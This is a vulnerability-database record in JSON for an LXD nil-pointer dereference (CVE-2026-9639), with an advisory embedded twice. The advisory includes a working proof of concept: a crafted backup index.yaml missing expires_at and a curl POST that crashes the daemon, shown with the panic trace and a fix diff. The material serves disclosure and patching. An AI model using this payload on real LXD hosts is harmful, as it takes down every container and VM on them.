{"id":"CVE-2026-9639","aliases":["DEBIAN-CVE-2026-9639","EUVD-2026-39789","GHSA-j93m-3j9p-m5m8"],"status":"published","title":"Authenticated Denial of Service via Malicious Backup Tarball in LXD","description":"Nil-pointer dereference in CreateCustomVolumeFromBackup in LXD up to version 6.8 and 5.21 on Linux allows an authenticated user with can_create_storage_volumes permissions to cause a denial of service via a specially crafted custom-volume backup tarball that omits the expires_at snapshot field.","severity":{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00548,"percentile":0.46196,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-476"],"published":"2026-06-26T15:39:04.696Z","modified":"2026-11-06T19:45:05Z","fixes":[{"ecosystem":"Go","package":"github.com/canonical/lxd","fixed_in":["0.0.0-20260622081844-85f897013ccd"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:13","package":"lxd","fixed_in":["5.0.2+git20231211.1364ae4-9+deb13u7"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/canonical/lxd","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.0-20260622081844-85f897013ccd"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"lxd","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["5.0.2+git20231211.1364ae4-1","5.0.2+git20231211.1364ae4-2","5.0.2+git20231211.1364ae4-3","5.0.2+git20231211.1364ae4-4","5.0.2+git20231211.1364ae4-5","5.0.2+git20231211.1364ae4-6","5.0.2+git20231211.1364ae4-7","5.0.2+git20231211.1364ae4-8","5.0.2+git20231211.1364ae4-9","5.0.2-5","5.0.2-5+deb12u1","5.0.2-5+deb12u2","5.0.2-5+deb12u3","5.0.2-5+deb12u4","5.0.2-5+deb12u5","5.0.2-5+deb12u6","5.0.2-6"]},{"source":"osv","ecosystem":"Debian:13","package":"lxd","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.0.2+git20231211.1364ae4-9+deb13u7"}]}],"versions":["5.0.2+git20231211.1364ae4-9","5.0.2+git20231211.1364ae4-9+deb13u1","5.0.2+git20231211.1364ae4-9+deb13u2","5.0.2+git20231211.1364ae4-9+deb13u3","5.0.2+git20231211.1364ae4-9+deb13u4","5.0.2+git20231211.1364ae4-9+deb13u5","5.0.2+git20231211.1364ae4-9+deb13u6"]},{"source":"osv","ecosystem":"Go","package":"github.com/canonical/lxd","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.0.0-20260622081844-85f897013ccd"}]}]}],"products":[{"vendor":"canonical","product":"lxd"}],"references":[{"url":"https://github.com/canonical/lxd/security/advisories/GHSA-j93m-3j9p-m5m8","tags":["vdb-entry","vendor-advisory","exploit","Exploit","Patch","Vendor Advisory","advisory","web"]},{"url":"https://github.com/canonical/lxd/pull/18320","tags":["patch","Issue Tracking","Patch","fix","web"]},{"url":"https://github.com/canonical/lxd/pull/18390","tags":["patch","Issue Tracking","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-9639","tags":["advisory"]},{"url":"https://github.com/canonical/lxd/commit/05bc2729e99707a766d5c4705167a3322c9ef424","tags":["web"]},{"url":"https://github.com/canonical/lxd/commit/c7cdfadb6044dfeaac592dc225978b4125ee23fe","tags":["web"]},{"url":"https://github.com/canonical/lxd/commit/d15520809e6e2ac2af0c6354dfb7be5854b0e859","tags":["web"]},{"url":"https://github.com/CVEProject/cvelistV5/blob/main/cves/2026/9xxx/CVE-2026-9639.json","tags":["web"]},{"url":"https://github.com/canonical/lxd/blob/lxd-5.0.7/lxd/storage/backend_lxd.go","tags":["web"]},{"url":"https://github.com/canonical/lxd/releases/tag/lxd-5.21.5","tags":["web"]},{"url":"https://github.com/canonical/lxd/releases/tag/lxd-6.9","tags":["web"]},{"url":"https://github.com/advisories/GHSA-j93m-3j9p-m5m8"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/9xxx/CVE-2026-9639.json","tags":["advisory"]},{"url":"https://github.com/canonical/lxd","tags":["package"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-9639","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-9639","title":"Authenticated Denial of Service via Malicious Backup Tarball in LXD","description":"Nil-pointer dereference in CreateCustomVolumeFromBackup in LXD up to version 6.8 and 5.21 on Linux allows an authenticated user with can_create_storage_volumes permissions to cause a denial of service via a specially crafted custom-volume backup tarball that omits the expires_at snapshot field.","status":"published","published":"2026-06-26T15:39:04.696Z","modified":"2026-06-26T16:02:11.52Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium","assessor":"cna"}],"cwes":["CWE-476"],"updated_at":"2026-11-02T13:42:37.965383Z"}],"euvd":[{"id":"EUVD-2026-39789","description":"LXD has CreateCustomVolumeFromBackup nil-pointer dereference on volumes[0].snapshots[*].expires_at","status":"published","published":"2026-11-06T19:37:14Z","modified":"2026-11-06T19:37:15Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-06T21:07:00.781791Z"}],"ghsa":[{"id":"GHSA-j93m-3j9p-m5m8","title":"LXD has CreateCustomVolumeFromBackup nil-pointer dereference on volumes[0].snapshots[*].expires_at","description":"## Summary\n\n(sibling-field variant of CVE-2026-40197 fix 05bc272)\n\n`(*lxdBackend).CreateCustomVolumeFromBackup` in [`lxd/storage/backend_lxd.go`](https://github.com/canonical/lxd/blob/05bc272/lxd/storage/backend_lxd.go) contains an unguarded `*time.Time` dereference on the `ExpiresAt` field of every volume-snapshot entry in an imported custom-volume backup. An authenticated user with `EntitlementCanCreateStorageVolumes` permission on any project can crash the `lxd` daemon by uploading a backup tarball whose `volumes[0].snapshots[*].expires_at` field is omitted.\n\nThis is a sibling-field variant of the CVE-2026-40197 fix (commit `05bc272`, \"Validate snapshots from backup.yaml are non-nil\", cherry-picked from incus commit `985a1dedf` / GHSA-r7w7-mmxr-47r9). That fix added `if snap == nil` guards at several consumer sites, but did not guard the adjacent `*snapshot.ExpiresAt` deref at line 8216. Every other consumer of this field in the same file already gates the deref with `if … != nil` (e.g. lines 1010-1011, 1274-1275, 1856-1857, 2454-2455, 5070-5071, 5527-5528). Asymmetric guard is the bug.\n\n## Vulnerable code\n\n[`lxd/storage/backend_lxd.go`](https://github.com/canonical/lxd/blob/05bc272/lxd/storage/backend_lxd.go), `CreateCustomVolumeFromBackup`:\n\n```go\n// Line 8141-8150 — earliest snapshot validation pass (caches s == nil)\nfor i, snap := range customVol.Snapshots {\n    if snap == nil {\n        return fmt.Errorf(\"Nil custom volume snapshot definition found at index %d\", i)\n    }\n    err = drivers.ValidVolumeName(snap.Name)\n    ...\n}\n\n// Line 8196-8216 — the snapshot DB-create loop\nfor i, s := range customVol.Snapshots {\n    if s == nil {\n        return fmt.Errorf(\"Nil custom volume snapshot definition found at index %d\", i)\n    }\n    snapshot := s\n    ...\n    // Line 8216 — UNGUARDED *time.Time deref:\n    err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description,\n        snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt,\n        *snapshot.ExpiresAt,           // \u003c-- panics when expires_at omitted in YAML\n        snapVol.ContentType(), true, true)\n```\n\n`ExpiresAt` is declared `*time.Time` ([`shared/api/storage_pool_volume_snapshot.go`](https://github.com/canonical/lxd/blob/05bc272/shared/api/storage_pool_volume_snapshot.go)). Every other consumer in the same file already uses the safe pattern (`if … != nil { … = *… }`):\n\n| Line | Code | Guarded? |\n|------|------|----------|\n| 1010-1011 | rootVol.Snapshots[i].ExpiresAt | YES |\n| 1274-1275 | rootVol.Snapshots[i].ExpiresAt | YES |\n| 1558-1559 | srcSnap.ExpiresAt | YES |\n| 1856-1857 | rootVol.Snapshots[i].ExpiresAt | YES |\n| 2454-2455 | rootVol.Snapshots[i].ExpiresAt | YES |\n| 5070-5071 | customVol.Snapshots[i].ExpiresAt | YES |\n| 5527-5528 | srcSnap.ExpiresAt | YES |\n| **8216** | **CreateCustomVolumeFromBackup snapshot.ExpiresAt** | **NO** |\n\n## Reach\n\n1. Attacker is an authenticated client (TLS cert, OIDC, or unix socket) with the `EntitlementCanCreateStorageVolumes` entitlement on any project. Same auth gate as CVE-2026-40197.\n2. `POST /1.0/storage-pools/\u003cpool\u003e/volumes/custom` with `Content-Type: application/octet-stream` and `X-LXD-name: \u003cname\u003e`.\n3. Body is a tar containing [`backup/index.yaml`](https://github.com/canonical/lxd/blob/05bc272/backup/index.yaml) with `type: custom`, `volumes[0]` non-nil, and `volumes[0].snapshots[0]` non-nil but missing `expires_at`.\n4. `lxd/storage_volumes.go:storagePoolVolumesPost` -\u003e `backup.GetInfo` parses the yaml -\u003e `pool.CreateCustomVolumeFromBackup` -\u003e the validations at 8141-8150 + 8197 pass (snapshot pointer is non-nil, name is valid) -\u003e `*snapshot.ExpiresAt` on line 8216 panics on the nil `*time.Time`.\n5. The Go runtime kills the entire `lxd` daemon process. Repeated POSTs are a persistent denial of service.\n\nMinimal [`backup/index.yaml`](https://github.com/canonical/lxd/blob/05bc272/backup/index.yaml):\n\n```yaml\nname: poc-vol\nbackend: dir\npool: default\ntype: custom\noptimized: false\noptimized_header: false\nsnapshots: [snap0]\nconfig:\n  version: 2\n  pools:\n    - {name: default, driver: dir, config: {}}\n  volumes:\n    - name: poc-vol\n      type: custom\n      pool: default\n      content_type: filesystem\n      config: {}\n      snapshots:\n        - name: snap0\n          description: snap0\n          config: {}\n          # expires_at intentionally omitted\n```\n\n## Proof of concept (end-to-end against running daemon)\n\nBundled in the report: `make_backup.sh` + the resulting 516-byte `poc-vol-lxd.tar.gz`.\n\nTested against `lxd 6.8` (HEAD of `canonical/lxd` at the time of testing, built from source with `make deps \u0026\u0026 go build -tags libsqlite3 ./lxd`). Daemon started with default `dir` storage pool.\n\n```bash\n$ curl -s --unix-socket /var/lib/lxd/unix.socket -X POST \\\n    --data-binary @/tmp/poc-vol-lxd.tar.gz \\\n    -H 'Content-Type: application/octet-stream' \\\n    -H 'X-LXD-name: poc-vol' \\\n    http://lxd/1.0/storage-pools/default/volumes/custom\n{\"type\":\"async\",\"status\":\"Operation created\",\"status_code\":100,...}\n\n$ ps -ef | grep lxd | grep -v grep    # daemon GONE\n```\n\nDaemon panic from `/tmp/lxd.out`:\n\n```\npanic: runtime error: invalid memory address or nil pointer dereference\n[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x11015e8]\n\ngoroutine 683 [running]:\ngithub.com/canonical/lxd/lxd/storage.(*lxdBackend).CreateCustomVolumeFromBackup(...)\n    github.com/canonical/lxd/lxd/storage/backend_lxd.go:8216 +0xf58\nmain.createStoragePoolVolumeFromBackup.func6(...)\n    github.com/canonical/lxd/lxd/storage_volumes.go:2879 +0x2a0\ngithub.com/canonical/lxd/lxd/operations.(*Operation).start.func1(...)\n    github.com/canonical/lxd/lxd/operations/operations.go:588 +0x6c\ncreated by github.com/canonical/lxd/lxd/operations.(*Operation).start in goroutine 655\n    github.com/canonical/lxd/lxd/operations/operations.go:541 +0x2b8\n```\n\nStack frame [`backend_lxd.go:8216`](https://github.com/canonical/lxd/blob/05bc272/backend_lxd.go#L8216) is the literal `*snapshot.ExpiresAt` line.\n\n## Impact\n\n- **Severity:** denial of service against the entire `lxd` daemon process. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process.\n- **Privileges required:** any authenticated user with `can_create_storage_volumes` on any project. Not behind the admin tier.\n- **Network attack surface:** the LXD REST API on `:8443` or the unix socket.\n- **CWE-476** — Nil-Pointer Dereference. **CVSS estimate:** 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).\n- **Versions:** confirmed at `lxd 6.8` (HEAD); the same code exists in the v5.21 LTS line as the parent fix `05bc272` was a cherry-pick from incus.\n\n## Suggested fix\n\nMirror the guard pattern already in use elsewhere in this file:\n\n```diff\n--- a/lxd/storage/backend_lxd.go\n+++ b/lxd/storage/backend_lxd.go\n@@ -8210,9 +8210,14 @@ func (b *lxdBackend) CreateCustomVolumeFromBackup(...) error {\n         snapVolStorageName := project.StorageVolume(srcBackup.Project, fullSnapName)\n         snapVol := b.GetNewVolume(drivers.VolumeTypeCustom, drivers.ContentType(customVol.ContentType), snapVolStorageName, snapshot.Config)\n\n         // Validate config and create database entry for new storage volume.\n         // Strip unsupported config keys (in case the export was made from a different type of storage pool).\n-        err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, *snapshot.ExpiresAt, snapVol.ContentType(), true, true)\n+        var snapExpiryDate time.Time\n+        if snapshot.ExpiresAt != nil {\n+            snapExpiryDate = *snapshot.ExpiresAt\n+        }\n+\n+        err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, snapExpiryDate, snapVol.ContentType(), true, true)\n         if err != nil {\n             return err\n         }\n```\n\n## Related advisories\n\n- `GHSA-r7w7-mmxr-47r9` (CVE-2026-40197) / commit `05bc272` (cherry-pick of incus `985a1dedf`) — parent fix: added `s == nil` checks at multiple consumer sites, missed the `*snapshot.ExpiresAt` deref at line 8216.\n- `lxc/incus GHSA-xhqx-mgh3-3h7q` (sibling report filed by same reporter against the upstream-equivalent line [`internal/server/storage/backend.go:7731`](https://github.com/canonical/lxd/blob/05bc272/internal/server/storage/backend.go#L7731) in incus).\n\nThe shape is \"incomplete fix on a sibling field of the same struct\" — the maintainer walked nil-checks for the iteration-variable pointer but did not walk every adjacent pointer field that the loop body still dereferences.\n\n## Reporter notes\n\nReported via Privately-Reported Vulnerability against `canonical/lxd` by tonghuaroot.","status":"published","published":"2026-11-06T19:37:14Z","modified":"2026-11-06T19:37:18Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"cwes":["CWE-476"],"updated_at":"2026-11-06T20:01:41.450648Z"}],"nvd":[{"id":"CVE-2026-9639","description":"Nil-pointer dereference in CreateCustomVolumeFromBackup in LXD up to version 6.8 and 5.21 on Linux allows an authenticated user with can_create_storage_volumes permissions to cause a denial of service via a specially crafted custom-volume backup tarball that omits the expires_at snapshot field.","status":"published","published":"2026-06-26T16:16:37.143Z","modified":"2026-10-25T17:10:00.197Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium","assessor":"secondary"}],"cwes":["CWE-476"],"updated_at":"2026-11-02T14:12:26.045561Z"}],"osv":[{"id":"CVE-2026-9639","title":"Authenticated Denial of Service via Malicious Backup Tarball in LXD","description":"Nil-pointer dereference in CreateCustomVolumeFromBackup in LXD up to version 6.8 and 5.21 on Linux allows an authenticated user with can_create_storage_volumes permissions to cause a denial of service via a specially crafted custom-volume backup tarball that omits the expires_at snapshot field.","status":"published","published":"2026-06-26T15:39:04.696Z","modified":"2026-10-28T02:30:48.028257967Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"cwes":["CWE-476"],"updated_at":"2026-11-02T15:45:21.262447Z"},{"id":"DEBIAN-CVE-2026-9639","description":"Nil-pointer dereference in CreateCustomVolumeFromBackup in LXD up to version 6.8 and 5.21 on Linux allows an authenticated user with can_create_storage_volumes permissions to cause a denial of service via a specially crafted custom-volume backup tarball that omits the expires_at snapshot field.","status":"published","published":"2026-06-26T16:16:37.143Z","modified":"2026-10-26T11:47:28.503923754Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T15:46:07.324252Z"},{"id":"GHSA-j93m-3j9p-m5m8","title":"LXD has CreateCustomVolumeFromBackup nil-pointer dereference on volumes[0].snapshots[*].expires_at","description":"## Summary\n\n(sibling-field variant of CVE-2026-40197 fix 05bc272)\n\n`(*lxdBackend).CreateCustomVolumeFromBackup` in [`lxd/storage/backend_lxd.go`](https://github.com/canonical/lxd/blob/05bc272/lxd/storage/backend_lxd.go) contains an unguarded `*time.Time` dereference on the `ExpiresAt` field of every volume-snapshot entry in an imported custom-volume backup. An authenticated user with `EntitlementCanCreateStorageVolumes` permission on any project can crash the `lxd` daemon by uploading a backup tarball whose `volumes[0].snapshots[*].expires_at` field is omitted.\n\nThis is a sibling-field variant of the CVE-2026-40197 fix (commit `05bc272`, \"Validate snapshots from backup.yaml are non-nil\", cherry-picked from incus commit `985a1dedf` / GHSA-r7w7-mmxr-47r9). That fix added `if snap == nil` guards at several consumer sites, but did not guard the adjacent `*snapshot.ExpiresAt` deref at line 8216. Every other consumer of this field in the same file already gates the deref with `if … != nil` (e.g. lines 1010-1011, 1274-1275, 1856-1857, 2454-2455, 5070-5071, 5527-5528). Asymmetric guard is the bug.\n\n## Vulnerable code\n\n[`lxd/storage/backend_lxd.go`](https://github.com/canonical/lxd/blob/05bc272/lxd/storage/backend_lxd.go), `CreateCustomVolumeFromBackup`:\n\n```go\n// Line 8141-8150 — earliest snapshot validation pass (caches s == nil)\nfor i, snap := range customVol.Snapshots {\n    if snap == nil {\n        return fmt.Errorf(\"Nil custom volume snapshot definition found at index %d\", i)\n    }\n    err = drivers.ValidVolumeName(snap.Name)\n    ...\n}\n\n// Line 8196-8216 — the snapshot DB-create loop\nfor i, s := range customVol.Snapshots {\n    if s == nil {\n        return fmt.Errorf(\"Nil custom volume snapshot definition found at index %d\", i)\n    }\n    snapshot := s\n    ...\n    // Line 8216 — UNGUARDED *time.Time deref:\n    err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description,\n        snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt,\n        *snapshot.ExpiresAt,           // \u003c-- panics when expires_at omitted in YAML\n        snapVol.ContentType(), true, true)\n```\n\n`ExpiresAt` is declared `*time.Time` ([`shared/api/storage_pool_volume_snapshot.go`](https://github.com/canonical/lxd/blob/05bc272/shared/api/storage_pool_volume_snapshot.go)). Every other consumer in the same file already uses the safe pattern (`if … != nil { … = *… }`):\n\n| Line | Code | Guarded? |\n|------|------|----------|\n| 1010-1011 | rootVol.Snapshots[i].ExpiresAt | YES |\n| 1274-1275 | rootVol.Snapshots[i].ExpiresAt | YES |\n| 1558-1559 | srcSnap.ExpiresAt | YES |\n| 1856-1857 | rootVol.Snapshots[i].ExpiresAt | YES |\n| 2454-2455 | rootVol.Snapshots[i].ExpiresAt | YES |\n| 5070-5071 | customVol.Snapshots[i].ExpiresAt | YES |\n| 5527-5528 | srcSnap.ExpiresAt | YES |\n| **8216** | **CreateCustomVolumeFromBackup snapshot.ExpiresAt** | **NO** |\n\n## Reach\n\n1. Attacker is an authenticated client (TLS cert, OIDC, or unix socket) with the `EntitlementCanCreateStorageVolumes` entitlement on any project. Same auth gate as CVE-2026-40197.\n2. `POST /1.0/storage-pools/\u003cpool\u003e/volumes/custom` with `Content-Type: application/octet-stream` and `X-LXD-name: \u003cname\u003e`.\n3. Body is a tar containing [`backup/index.yaml`](https://github.com/canonical/lxd/blob/05bc272/backup/index.yaml) with `type: custom`, `volumes[0]` non-nil, and `volumes[0].snapshots[0]` non-nil but missing `expires_at`.\n4. `lxd/storage_volumes.go:storagePoolVolumesPost` -\u003e `backup.GetInfo` parses the yaml -\u003e `pool.CreateCustomVolumeFromBackup` -\u003e the validations at 8141-8150 + 8197 pass (snapshot pointer is non-nil, name is valid) -\u003e `*snapshot.ExpiresAt` on line 8216 panics on the nil `*time.Time`.\n5. The Go runtime kills the entire `lxd` daemon process. Repeated POSTs are a persistent denial of service.\n\nMinimal [`backup/index.yaml`](https://github.com/canonical/lxd/blob/05bc272/backup/index.yaml):\n\n```yaml\nname: poc-vol\nbackend: dir\npool: default\ntype: custom\noptimized: false\noptimized_header: false\nsnapshots: [snap0]\nconfig:\n  version: 2\n  pools:\n    - {name: default, driver: dir, config: {}}\n  volumes:\n    - name: poc-vol\n      type: custom\n      pool: default\n      content_type: filesystem\n      config: {}\n      snapshots:\n        - name: snap0\n          description: snap0\n          config: {}\n          # expires_at intentionally omitted\n```\n\n## Proof of concept (end-to-end against running daemon)\n\nBundled in the report: `make_backup.sh` + the resulting 516-byte `poc-vol-lxd.tar.gz`.\n\nTested against `lxd 6.8` (HEAD of `canonical/lxd` at the time of testing, built from source with `make deps \u0026\u0026 go build -tags libsqlite3 ./lxd`). Daemon started with default `dir` storage pool.\n\n```bash\n$ curl -s --unix-socket /var/lib/lxd/unix.socket -X POST \\\n    --data-binary @/tmp/poc-vol-lxd.tar.gz \\\n    -H 'Content-Type: application/octet-stream' \\\n    -H 'X-LXD-name: poc-vol' \\\n    http://lxd/1.0/storage-pools/default/volumes/custom\n{\"type\":\"async\",\"status\":\"Operation created\",\"status_code\":100,...}\n\n$ ps -ef | grep lxd | grep -v grep    # daemon GONE\n```\n\nDaemon panic from `/tmp/lxd.out`:\n\n```\npanic: runtime error: invalid memory address or nil pointer dereference\n[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x11015e8]\n\ngoroutine 683 [running]:\ngithub.com/canonical/lxd/lxd/storage.(*lxdBackend).CreateCustomVolumeFromBackup(...)\n    github.com/canonical/lxd/lxd/storage/backend_lxd.go:8216 +0xf58\nmain.createStoragePoolVolumeFromBackup.func6(...)\n    github.com/canonical/lxd/lxd/storage_volumes.go:2879 +0x2a0\ngithub.com/canonical/lxd/lxd/operations.(*Operation).start.func1(...)\n    github.com/canonical/lxd/lxd/operations/operations.go:588 +0x6c\ncreated by github.com/canonical/lxd/lxd/operations.(*Operation).start in goroutine 655\n    github.com/canonical/lxd/lxd/operations/operations.go:541 +0x2b8\n```\n\nStack frame [`backend_lxd.go:8216`](https://github.com/canonical/lxd/blob/05bc272/backend_lxd.go#L8216) is the literal `*snapshot.ExpiresAt` line.\n\n## Impact\n\n- **Severity:** denial of service against the entire `lxd` daemon process. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process.\n- **Privileges required:** any authenticated user with `can_create_storage_volumes` on any project. Not behind the admin tier.\n- **Network attack surface:** the LXD REST API on `:8443` or the unix socket.\n- **CWE-476** — Nil-Pointer Dereference. **CVSS estimate:** 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).\n- **Versions:** confirmed at `lxd 6.8` (HEAD); the same code exists in the v5.21 LTS line as the parent fix `05bc272` was a cherry-pick from incus.\n\n## Suggested fix\n\nMirror the guard pattern already in use elsewhere in this file:\n\n```diff\n--- a/lxd/storage/backend_lxd.go\n+++ b/lxd/storage/backend_lxd.go\n@@ -8210,9 +8210,14 @@ func (b *lxdBackend) CreateCustomVolumeFromBackup(...) error {\n         snapVolStorageName := project.StorageVolume(srcBackup.Project, fullSnapName)\n         snapVol := b.GetNewVolume(drivers.VolumeTypeCustom, drivers.ContentType(customVol.ContentType), snapVolStorageName, snapshot.Config)\n\n         // Validate config and create database entry for new storage volume.\n         // Strip unsupported config keys (in case the export was made from a different type of storage pool).\n-        err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, *snapshot.ExpiresAt, snapVol.ContentType(), true, true)\n+        var snapExpiryDate time.Time\n+        if snapshot.ExpiresAt != nil {\n+            snapExpiryDate = *snapshot.ExpiresAt\n+        }\n+\n+        err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, snapExpiryDate, snapVol.ContentType(), true, true)\n         if err != nil {\n             return err\n         }\n```\n\n## Related advisories\n\n- `GHSA-r7w7-mmxr-47r9` (CVE-2026-40197) / commit `05bc272` (cherry-pick of incus `985a1dedf`) — parent fix: added `s == nil` checks at multiple consumer sites, missed the `*snapshot.ExpiresAt` deref at line 8216.\n- `lxc/incus GHSA-xhqx-mgh3-3h7q` (sibling report filed by same reporter against the upstream-equivalent line [`internal/server/storage/backend.go:7731`](https://github.com/canonical/lxd/blob/05bc272/internal/server/storage/backend.go#L7731) in incus).\n\nThe shape is \"incomplete fix on a sibling field of the same struct\" — the maintainer walked nil-checks for the iteration-variable pointer but did not walk every adjacent pointer field that the loop body still dereferences.\n\n## Reporter notes\n\nReported via Privately-Reported Vulnerability against `canonical/lxd` by tonghuaroot.","status":"published","published":"2026-11-06T19:37:14Z","modified":"2026-11-06T19:45:05.065004053Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"cwes":["CWE-476"],"updated_at":"2026-11-06T20:08:20.701853Z"}]}}
